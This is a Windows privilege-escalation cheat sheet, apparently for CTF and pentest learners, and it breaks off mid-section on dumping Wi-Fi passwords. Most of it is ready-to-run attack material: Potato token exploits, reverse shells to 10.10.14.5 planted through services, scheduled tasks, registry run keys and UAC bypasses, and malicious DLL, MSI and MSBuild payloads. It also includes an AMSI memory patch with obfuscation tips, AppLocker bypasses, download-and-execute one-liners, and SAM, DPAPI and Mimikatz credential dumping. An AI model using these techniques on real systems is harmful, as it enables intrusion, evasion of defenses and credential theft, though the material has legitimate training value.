kavklaw@llm $ whoami /priv
From Low-Privilege User to NT AUTHORITY\SYSTEM, Every Attack Vector Explained
This guide assumes you already have a shell on the target Windows machine — whether that's a reverse shell, a web shell, WinRM access, or RDP. If you need to get that initial foothold first, see the Reverse Shells & File Transfers guide.
Tools to have ready for transfer to the target:
winPEASany.exe or winpeas.bat from PEASS-ng releasesKeep a windows-privesc/ folder in your toolkit with these binaries ready. For file transfer to the target, see the File Transfer Cheat Sheet later in this guide.
You've gained initial access to a Windows box, maybe through a web exploit, phishing payload, or a service vulnerability. But you're running as a standard user, a service account, or IIS APPPOOL\DefaultAppPool. Your goal is to escalate to NT AUTHORITY\SYSTEM, the highest-privilege account on a Windows system, equivalent to root on Linux.
Windows privilege escalation is different from Linux in several important ways:
SeImpersonatePrivilege that can be abused directlyRun these immediately upon getting a Windows shell. The whoami /priv command is the single most important one: it shows your token privileges, which often tell you if you can escalate to SYSTEM in one step.
# Who are you?
whoami
whoami /priv # Check token privileges ← CRITICAL
whoami /groups # Group memberships
# System info (for kernel exploits)
systeminfo
# Quick password check
cmdkey /list # Stored credentials
# Run WinPEAS for automated enumeration
# Transfer winpeas.exe or winpeas.bat to target, then:
.\winPEASany.exe
Check these vectors in order from most to least common:
Before looking for specific vectors, gather detailed system information:
# ─── User and Privilege Info ─────────────
whoami # Current user
whoami /priv # Token privileges
whoami /groups # Group memberships
net user # All local users
net user Administrator # Details about a specific user
net localgroup # Local groups
net localgroup Administrators # Who's an admin?
# ─── System Information ─────────────────
systeminfo # OS version, architecture, hotfixes
hostname # Machine name
wmic os get Caption,Version # Clean OS version (note: wmic.exe is deprecated; prefer PowerShell: Get-CimInstance Win32_OperatingSystem | Select Caption,Version)
# ─── Network Information ────────────────
ipconfig /all # Network interfaces
route print # Routing table
arp -a # ARP cache (nearby machines)
netstat -ano # Active connections and listening ports
# Look for: internal services, connections to other machines
# ─── Installed Software ─────────────────
wmic product get name,version # Installed programs (slow)
dir "C:\Program Files" # Quick look
dir "C:\Program Files (x86)"
# ─── Running Processes ──────────────────
tasklist /svc # Processes with services
wmic process list brief # Process list
# ─── Hotfixes (patches) ─────────────────
wmic qfe list brief # Installed patches
# Missing patches = potential kernel exploits
💡 Pro tip: The single most important command in Windows privesc iswhoami /priv. If you seeSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilegeenabled, you can almost certainly escalate to SYSTEM using a Potato attack. This alone solves a huge percentage of Windows CTF boxes.
Windows access tokens contain security information about a user's session. Certain privileges allow you to impersonate other users' tokens, including SYSTEM's token. This is the most common and reliable Windows privesc vector.
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeImpersonatePrivilege Impersonate a client Enabled ← JACKPOT
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled ← JACKPOT
SeDebugPrivilege Debug programs Enabled ← Also exploitable
SeBackupPrivilege Back up files and directories Enabled ← Can read anything
SeRestorePrivilege Restore files and directories Enabled ← Can write anything
SeLoadDriverPrivilege Load and unload device drivers Enabled ← Kernel exploit potential
SeTakeOwnershipPrivilege Take ownership of files Enabled ← Can own anything
# Who typically has SeImpersonate?
# - IIS service accounts (APPPOOL\DefaultAppPool)
# - SQL Server service accounts
# - Windows services running as "Network Service" or "Local Service"
All Potato attacks share the same core concept: trick a SYSTEM-level process into connecting to something you control, capture its security token (permission badge), and then impersonate it. Think of it like getting SYSTEM to hand you its ID badge. Different Potato variants use different tricks to get SYSTEM to connect, but the end result is the same: you get a SYSTEM-level shell.
# JuicyPotato abuses COM (DCOM) activation to get a SYSTEM token
# Requires: SeImpersonatePrivilege
# Download JuicyPotato.exe and transfer to target
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" -t *
# Flags:
# -l Local COM server port
# -p Program to run as SYSTEM
# -a Arguments
# -t * (try both createprocess call types)
# If it fails, try a different CLSID:
.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Find working CLSIDs: https://ohpe.it/juicy-potato/CLSID/
# PrintSpoofer abuses the Print Spooler service
# Works on newer Windows where JuicyPotato doesn't
# Requires: SeImpersonatePrivilege
.\PrintSpoofer64.exe -i -c cmd
# -i Interactive mode (drops you into a SYSTEM shell)
# -c Command to execute
# Or get a reverse shell:
.\PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# GodPotato is the most modern and universal Potato exploit
# Works across nearly all Windows versions from Server 2012 to Windows 11
# Requires: SeImpersonatePrivilege
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# Simplest to use — just give it a command
.\SweetPotato.exe -p C:\temp\nc.exe -a "10.10.14.5 4444 -e cmd.exe"
RoguePotato requires a remote machine to relay OXID resolution. More complex setup but works in restricted environments.
Decision tree:
💡 Pro tip: Keep all Potato variants in your toolkit. Upload GodPotato first. It's the most reliable across Windows versions. If it fails, try PrintSpoofer, then JuicyPotato. One of them almost always works when you have SeImpersonatePrivilege.
Some Windows services run as SYSTEM, but many use LocalService, NetworkService, or other accounts. If you can modify a service's binary, configuration, or startup behavior, you can execute code as SYSTEM.
When a service executable path contains spaces and isn't wrapped in quotes, Windows doesn't know where the path ends and the arguments begin. So it guesses, trying shorter paths first. This is a quirk of how the Windows API (CreateProcess) resolves ambiguous paths:
Find unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-WmiObject win32_service | Select-Object Name, PathName | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'}
For example, with the unquoted path C:\Program Files\My App\Service Folder\service.exe, Windows tries these locations in order:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\Service.exeC:\Program Files\My App\Service Folder\service.exeIf you can write to C:\Program Files\My App\, place a malicious binary at the intermediate path:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o Service.exe
sc stop VulnService
sc start VulnService
Windows services have their own access control — separate from file permissions. If a service grants you SERVICE_CHANGE_CONFIG, you can change which program the service runs. If it grants SERVICE_ALL_ACCESS, you have full control. The accesschk tool (from Microsoft's Sysinternals suite) checks these permissions:
# Check service permissions with accesschk (Sysinternals)
# -w = writable, -u = suppress errors, -v = verbose, -c = services
.\accesschk64.exe -wuvc "Everyone" * /accepteula
.\accesschk64.exe -wuvc "Authenticated Users" * /accepteula
.\accesschk64.exe -wuvc "BUILTIN\Users" * /accepteula
# Look for: SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG
# If you can change config:
sc qc VulnService # Check current config
sc config VulnService binpath= "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop VulnService
sc start VulnService
# Or replace the binary if you have write access to its location:
move "C:\path\to\original.exe" "C:\path\to\original.exe.bak"
copy C:\temp\malicious.exe "C:\path\to\original.exe"
sc stop VulnService
sc start VulnService
# Check service binary permissions:
icacls "C:\Program Files\VulnApp\service.exe"
# Look for: (F) Full access, (M) Modify, (W) Write
# Query all services
sc query state= all
# Query a specific service
sc qc ServiceName
# Look for: SERVICE_START_NAME: LocalSystem ← Runs as SYSTEM
# Enumerate with PowerShell
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName
whoami /priv and see SeImpersonatePrivilege: Enabled. What is the most reliable next step?SeImpersonatePrivilege is the golden ticket for Windows privesc. It allows you to impersonate tokens from other processes, including SYSTEM. GodPotato is the most universal tool (works across Windows versions), followed by PrintSpoofer (Windows 10/Server 2016-2019) and JuicyPotato (older systems). This single privilege solves a huge percentage of Windows CTF boxes — always check whoami /priv first!C:\Program Files\My App\Service Folder\service.exe:C:\Program.exe, then C:\Program Files\My.exe, then C:\Program Files\My App\Service.exe. You need write access to one of these intermediate directories. C:\Program Files\My.exe is the most practical target because you're more likely to have write permissions in the application's directory than in C:\.whoami /priv shows your token privileges. If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is enabled, you can go straight to SYSTEM via Potato attacks — no further enumeration needed. While systeminfo is important for kernel exploits, token privileges are the most common and reliable Windows privesc vector, especially for service accounts (IIS, SQL Server).A DLL (Dynamic Link Library) is like a shared code module that programs load at runtime. When a program needs a DLL, Windows searches for it in a specific order of directories. If a DLL is missing from the expected location and you can write to a directory in the search path, you can plant a malicious DLL that Windows loads instead. This is the Windows equivalent of Linux PATH hijacking.
DLL Search Order:
C:\Windows\System32C:\Windows\SystemC:\WindowsFind missing DLLs using Process Monitor (Procmon) — filter: Result = NAME NOT FOUND, Path ends with .dll. Look for DLLs not found in writable directories.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll
Or compile a custom DLL (hijack.c):
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
}
return TRUE;
}
Cross-compile on Linux, place the DLL, and restart the service:
x86_64-w64-mingw32-gcc hijack.c -shared -o evil.dll
copy evil.dll "C:\Program Files\VulnApp\missing.dll"
MSI packages are Windows installer files (the .msi files you might have used to install software). If both the machine-level and user-level AlwaysInstallElevated registry keys are set to 1, any user can install MSI packages that run with SYSTEM privileges. You can create a malicious MSI that gives you a shell instead of installing software.
# Check registry keys
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must return: AlwaysInstallElevated REG_DWORD 0x1
# If both are set, create a malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi
# Transfer to target and install:
msiexec /quiet /qn /i evil.msi
# → SYSTEM reverse shell
# This is rarer than Potato attacks but easy to exploit when found
Windows stores credentials in various locations that might be accessible:
# ─── Saved credentials (cmdkey) ──────────
cmdkey /list
# If you see saved credentials:
# Target: Domain:interactive=WORKSTATION\admin
# Type: Domain Password
# User: admin
# Use them:
runas /savecred /user:admin cmd.exe
# Or for reverse shell:
runas /savecred /user:admin "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# ─── DPAPI credentials ──────────────────
# Chrome saved passwords, RDP credentials, Wi-Fi passwords
# Located in: %APPDATA%\Microsoft\Credentials\
dir %APPDATA%\Microsoft\Credentials\
# Decrypt with Mimikatz (requires elevated access to decrypt)
# ─── AutoLogon credentials ───────────────
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword"
# ─── WiFi passwords ─────────────────────
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
# ─── Registry passwords ─────────────────
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# ─── Unattend/Sysprep files ─────────────
# These files may contain plaintext or base64-encoded passwords
type C:\Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\sysprep.xml
type C:\Windows\system32\sysprep\Unattend.xml
# ─── IIS config ──────────────────────────
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
# ─── SAM and SYSTEM files (if accessible) ─
# Normally locked, but backup copies may exist:
type C:\Windows\repair\SAM
type C:\Windows\System32\config\RegBack\SAM
💡 Pro tip: Therunas /savecredtechnique is incredibly powerful because it requires zero exploitation — someone already saved their admin credentials. Always checkcmdkey /listearly in your enumeration. This is one of the easiest wins in Windows privesc.
Like cron jobs on Linux, scheduled tasks might run as SYSTEM with writable scripts:
# List all scheduled tasks
schtasks /query /fo LIST /v
# Filter for tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|TaskName"
# Look for:
# Run As User: SYSTEM
# Task To Run: C:\scripts\backup.bat ← Can you write to this?
# Check permissions on the script
icacls C:\scripts\backup.bat
# Look for: BUILTIN\Users:(F) or (M) or (W)
# If writable, modify the script:
echo C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe >> C:\scripts\backup.bat
# Or replace it entirely:
echo C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe > C:\scripts\backup.bat
# Wait for the task to run → SYSTEM shell
# Create a new scheduled task (if you have permission):
schtasks /create /sc minute /mo 1 /tn "Backdoor" /tr "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /ru SYSTEM
Programs that run automatically at startup can be hijacked if you can modify the referenced binary or script:
# Check AutoRun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check startup folders
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
# If an AutoRun points to a writable binary:
icacls "C:\Program Files\VulnApp\startup.exe"
# Replace it with a malicious binary
# Or if you can modify HKLM Run keys:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# Requires admin, but useful for persistence
UAC (User Account Control) is a Windows security feature that gives admin users a "split token" — they run with normal permissions by default and only get full admin rights after clicking "Yes" on a confirmation dialog. In a command-line reverse shell, there's no GUI to click "Yes," so you're stuck with filtered (non-admin) permissions. UAC bypass techniques trick Windows into auto-elevating your process without the dialog:
# Check if you're an admin but UAC is blocking you
whoami /groups
# Look for: BUILTIN\Administrators (with "Group used for deny only")
# This means you're admin but running in a filtered (non-elevated) context
# Check UAC settings
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# ─── fodhelper.exe bypass (common) ──────
# fodhelper.exe is a Microsoft-signed program that auto-elevates (runs as admin
# without a UAC prompt). It checks a registry key for what to run — and we can
# write to that registry key from a non-elevated context:
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
C:\Windows\System32\fodhelper.exe
# → Elevated reverse shell
# Clean up:
reg delete HKCU\Software\Classes\ms-settings\ /f
# ─── eventvwr.exe bypass ────────────────
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
C:\Windows\System32\eventvwr.exe
# ─── Using UACME (thorough) ─────────────
# https://github.com/hfiref0x/UACME
# Collection of 60+ UAC bypass techniques
.\Akagi64.exe 23 C:\temp\nc.exe
WinPEAS is the Windows equivalent of LinPEAS. Download from PEASS-ng releases.
.\winPEASany.exe
.\winpeas.bat
WinPEAS checks: token privileges, service permissions, unquoted paths, AlwaysInstallElevated, stored credentials, AutoRuns, scheduled tasks, network info, installed software, writable files, DLL hijacking, and missing patches.
# PowerUp specifically targets service misconfigurations
# Import and run:
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# Or one-liner (download and execute in memory):
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/PowerUp.ps1')
Invoke-AllChecks
# Specific checks:
Get-UnquotedService # Unquoted service paths
Get-ModifiableServiceFile # Writable service binaries
Get-ModifiableService # Services you can reconfigure
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated check
# Auto-exploit (PowerUp can exploit what it finds):
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'password123'
# Adds a local admin user via service exploitation
# Sherlock — finds missing patches (older, for Win7/2008/2012)
Import-Module .\Sherlock.ps1
Find-AllVulns
# Watson — successor to Sherlock (Win10/2016/2019)
.\Watson.exe
# Lists CVEs the system is potentially vulnerable to
# Then search for exploits:
# CVE-2019-1388 — Certificate Dialog elevation
# CVE-2020-0796 — SMBGhost
# CVE-2021-1732 — Win32k elevation
# Seatbelt — thorough security enumeration (GhostPack)
.\Seatbelt.exe -group=all
# Specific checks:
.\Seatbelt.exe TokenPrivileges # Token privilege info
.\Seatbelt.exe CredentialManager # Saved credentials
.\Seatbelt.exe AutoRuns # AutoRun entries
.\Seatbelt.exe InterestingFiles # Config files with passwords
whoami /priv, whoami /groups, systeminfocmdkey /list → runas /savecredsysteminfo for the architecture and use matching tools.sc sdshow ServiceName or look for auto-restart configurations.# PowerShell download
Invoke-WebRequest -Uri http://10.10.14.5:8000/tool.exe -OutFile C:\temp\tool.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8000/tool.exe','C:\temp\tool.exe')
# certutil (works when PowerShell is blocked)
certutil -urlcache -split -f http://10.10.14.5:8000/tool.exe C:\temp\tool.exe
# SMB share (no disk touching — stealthier)
# On attacker: impacket-smbserver share $(pwd) -smb2support
# On target:
copy \\10.10.14.5\share\tool.exe C:\temp\
# Or run directly from share:
\\10.10.14.5\share\tool.exe
# Bitsadmin
bitsadmin /transfer job http://10.10.14.5:8000/tool.exe C:\temp\tool.exe
The Windows Print Spooler service (the part of Windows that manages printing) has been a goldmine for privilege escalation. Multiple serious vulnerabilities have been discovered that allow local privilege escalation and even remote code execution. These are among the most reliable Windows privesc techniques in modern environments.
PrintNightmare allows any authenticated user to achieve SYSTEM-level code execution by exploiting the Print Spooler's ability to install printer drivers. There are two variants: a local privilege escalation and a remote code execution.
# Check if the Print Spooler service is running:
sc query spooler
# STATE: 4 RUNNING ← Vulnerable if unpatched
# Check if the system is patched:
# The fix was in the July 2021 cumulative update
wmic qfe list brief | findstr KB50
# If no July 2021+ patches → likely vulnerable
# ─── Local Privilege Escalation (LPE) ───
# Using the C# PoC (SharpPrintNightmare):
.\SharpPrintNightmare.exe C:\temp\malicious.dll
# This loads your DLL as SYSTEM via the print spooler
# Create the malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o malicious.dll
# ─── Remote Code Execution variant ──────
# From Linux with impacket:
python3 CVE-2021-1675.py domain.htb/user:password@TARGET_IP '\\ATTACKER_IP\share\malicious.dll'
# Set up the SMB share first:
impacket-smbserver share /path/to/dll -smb2support
# The exploit makes the target load your DLL from the SMB share → SYSTEM execution
PrintSpoofer exploits the Print Spooler's named pipe to escalate from SeImpersonatePrivilege to SYSTEM. It's the go-to Potato alternative for Windows 10 and Server 2016-2019.
# Requirements: SeImpersonatePrivilege (common for service accounts)
# Interactive SYSTEM shell:
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -i -c powershell
# Reverse shell:
.\PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# Execute a specific command:
.\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\output.txt"
# Why it works:
# PrintSpoofer creates a named pipe that the Print Spooler connects to
# as SYSTEM. When SYSTEM connects, PrintSpoofer impersonates the token
# and runs your command with SYSTEM privileges.
SpoolFool exploits a flaw in how the Print Spooler handles printer driver directories. It can write arbitrary files to privileged locations, leading to SYSTEM code execution.
# SpoolFool exploits the Spooler's directory creation behavior
# to write a DLL to C:\Windows\System32\spool\drivers\
# Usage:
.\SpoolFool.exe -dll C:\temp\malicious.dll
# The exploit:
# 1. Creates a junction point in the spool directory
# 2. Tricks the Spooler into copying your DLL to a privileged location
# 3. The Spooler loads the DLL → SYSTEM execution
# Affected: Windows 10 and Server versions before Feb 2022 patches
# Check: wmic qfe list brief | findstr KB50 (look for Feb 2022+ patches)
💡 Pro tip: Always check if the Print Spooler is running (sc query spooler). If it is, you have multiple exploitation options. In CTFs, the Spooler is often intentionally left running and unpatched. PrintSpoofer is the simplest — requires only SeImpersonatePrivilege and a binary upload.
AMSI (Antimalware Scan Interface) is Microsoft's security feature that lets antivirus scan PowerShell commands before they run. Think of it as a filter that checks everything you type in PowerShell. If it detects something it considers malicious (like known hacking tool names), it blocks execution. In CTFs and real engagements, you'll often need to bypass AMSI to run your tools.
AMSI intercepts PowerShell commands before execution:
PowerShell command → AMSI → Antivirus Engine → Allow / Block
Try this in PowerShell — it gets blocked immediately:
Invoke-Mimikatz
# Result: "This script contains malicious content and has been blocked"
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Also blocked!
The simplest bypass. AMSI was introduced in PowerShell v5. If PowerShell v2 is available, it has no AMSI:
# Check if PowerShell v2 is available:
powershell -version 2 -command "echo 'AMSI bypassed!'"
# If it works, run your tools in PowerShell v2:
powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')"
# Requirements: .NET Framework 2.0 must be installed
# Check: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# On newer systems, PowerShell v2 is often removed
Patch the AmsiScanBuffer function in memory to always return "clean." This is the most reliable bypass for modern systems:
# Classic one-liner (obfuscated to avoid detection):
# Note: AV vendors actively signature these — you may need to modify them
# Method 1: Reflection-based patch
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Method 2: Direct memory patching with P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$p)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)
# After patching, AMSI is disabled for the current session:
# Invoke-Mimikatz, PowerView, etc. will work
# Method 3: Using Matt Graeber's reflection technique
# (Various one-liners available, but they get signatured quickly)
# The key is obfuscation — string concatenation, encoding, variable substitution
AMSI detects based on string patterns. Obfuscate to evade:
# String concatenation:
$a = 'Ams' + 'iUt' + 'ils'
# Variable encoding:
$enc = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QW1zaVV0aWxz'))
# Invoke-Expression with encoding:
IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64_ENCODED_BYPASS')))
# Using environment variables:
$env:a = 'AmsiScanBuffer'
Use tools like Invoke-Obfuscation to automatically obfuscate PowerShell scripts for AMSI evasion.
AppLocker is a Windows feature that creates a whitelist of which programs are allowed to run. If your tool isn't on the list, it won't execute. Constrained Language Mode (CLM) limits PowerShell to basic functionality, blocking advanced features that attackers typically use. Both are common in hardened environments and CTFs. The good news is there are many trusted Microsoft-signed programs you can use to bypass these restrictions.
Check if Constrained Language Mode is active (ConstrainedLanguage = restricted, FullLanguage = unrestricted):
$ExecutionContext.SessionState.LanguageMode
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2"
MSBuild.exe is a Microsoft-signed binary that can execute arbitrary C# code from XML project files. It's allowed by default in most AppLocker policies because it's a legitimate development tool.
# Create a malicious .csproj file:
# shell.csproj:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Shell">
<ShellExec />
</Target>
<UsingTask TaskName="ShellExec" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
public class ShellExec : Task {
public override bool Execute() {
Process.Start("cmd.exe", "/c C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
return true;
}
}
</Code>
</Task>
</UsingTask>
</Project>
# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\shell.csproj
# → Reverse shell, bypassing AppLocker!
# InstallUtil.exe can execute .NET assemblies via the Uninstall method
# (which doesn't require admin privileges)
# Create a malicious .cs file, compile it, and run:
# Compile on your machine:
# csc /target:library /out:shell.dll shell.cs
# Execute on target:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\shell.dll
Regsvr32 can download and execute SCT (scriptlet) files from a remote URL, bypassing AppLocker entirely:
# On your attacker machine, host a malicious SCT file:
# shell.sct:
<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
]]>
</script>
</registration>
</scriptlet>
# On target:
regsvr32 /s /n /u /i:http://10.10.14.5:8000/shell.sct scrobj.dll
# /s = silent, /n = don't call DllRegisterServer, /u = unregister (calls Uninstall)
# /i = specifies the remote SCT URL
CertUtil is a legitimate Windows certificate management tool that can download files and decode Base64, making it useful for both file transfer and AppLocker bypass:
# Download a file (bypasses many web filters):
certutil -urlcache -split -f http://10.10.14.5:8000/shell.exe C:\temp\shell.exe
# Decode a base64-encoded payload:
certutil -decode encoded_payload.txt decoded_shell.exe
# Encode a file (for exfiltration):
certutil -encode C:\sensitive\file.txt encoded.txt
# CertUtil + MSBuild combo:
# 1. Download the .csproj with certutil
certutil -urlcache -split -f http://10.10.14.5:8000/shell.csproj C:\temp\shell.csproj
# 2. Execute with MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\shell.csproj
Windows stores credentials in numerous locations. Understanding where passwords and hashes live is essential for both privilege escalation and lateral movement. Here's a full tour of every credential store.
The SAM (Security Account Manager) database stores the password hashes (scrambled versions of passwords) for all local user accounts. The SYSTEM hive stores the boot key that encrypts the SAM. The SECURITY hive stores cached domain credentials and LSA (Local Security Authority) secrets. Together, these three files are called "registry hives" — they're the binary database files that make up the Windows registry. If you can get copies of both the SAM and SYSTEM files, you can extract every local user's password hash offline.
# SAM file location: C:\Windows\System32\config\SAM
# SYSTEM file location: C:\Windows\System32\config\SYSTEM
# SECURITY file location: C:\Windows\System32\config\SECURITY
# These files are LOCKED while Windows is running. Methods to access:
# Method 1: Volume Shadow Copy (requires admin)
wmic shadowcopy call create Volume='C:\'
# Then copy from the shadow:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY
# Method 2: reg save (requires admin)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
# Method 3: Check for backup copies
dir C:\Windows\repair\SAM
dir C:\Windows\System32\config\RegBack\
# Extract hashes (on attacker machine):
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# Output: Administrator:500:aad3b435...:NTLM_HASH:::
# The NTLM hash can be used for Pass-the-Hash!
DPAPI (Data Protection API) is Windows' built-in encryption system that protects data like saved browser passwords, Wi-Fi passwords, and credential manager entries. Each user has a master key derived from their login password that encrypts and decrypts their personal data. If you can get the master key (or are running as that user), you can decrypt everything they've saved.
# DPAPI Master Keys location:
# C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID\
# DPAPI-protected data locations:
# - Chrome passwords: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# - Edge passwords: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
# - Credential Manager: %APPDATA%\Microsoft\Credentials\
# - Wi-Fi profiles: C:\ProgramData\Microsoft\Wlansvc\Profiles\
# Decrypt with Mimikatz (requires SYSTEM or user's password):
# Step 1: Get the master key
sekurlsa::dpapi
# Step 2: Decrypt credential blobs
dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\GUID /masterkey:MASTER_KEY
# SharpDPAPI (automated):
.\SharpDPAPI.exe triage
# Automatically finds and decrypts all DPAPI-protected data
# List stored credentials:
cmdkey /list
# If you see saved domain credentials, use runas /savecred
# Windows Vault (GUI equivalent of cmdkey):
rundll32 keymgr.dll,KRShowKeyMgr
# Credential Manager stores:
# - Web credentials (saved in browsers via Windows)
# - Windows credentials (RDP, network shares, etc.)
# Location: %APPDATA%\Microsoft\Credentials\
# Extract with Mimikatz:
vault::cred
# Or:
vault::list
# List saved Wi-Fi profiles:
netsh wlan show profiles
# Show password for a specific profile (requires admin):
netsh wlan show profile name="NetworkName" key=clear
# Look for: Key Content : TheWiFiPassword
# Export all profiles (including passwords) to XML:
netsh wlan export profile folder=C:\temp\ key=clear
# One-liner to dump all Wi-Fi passwords:
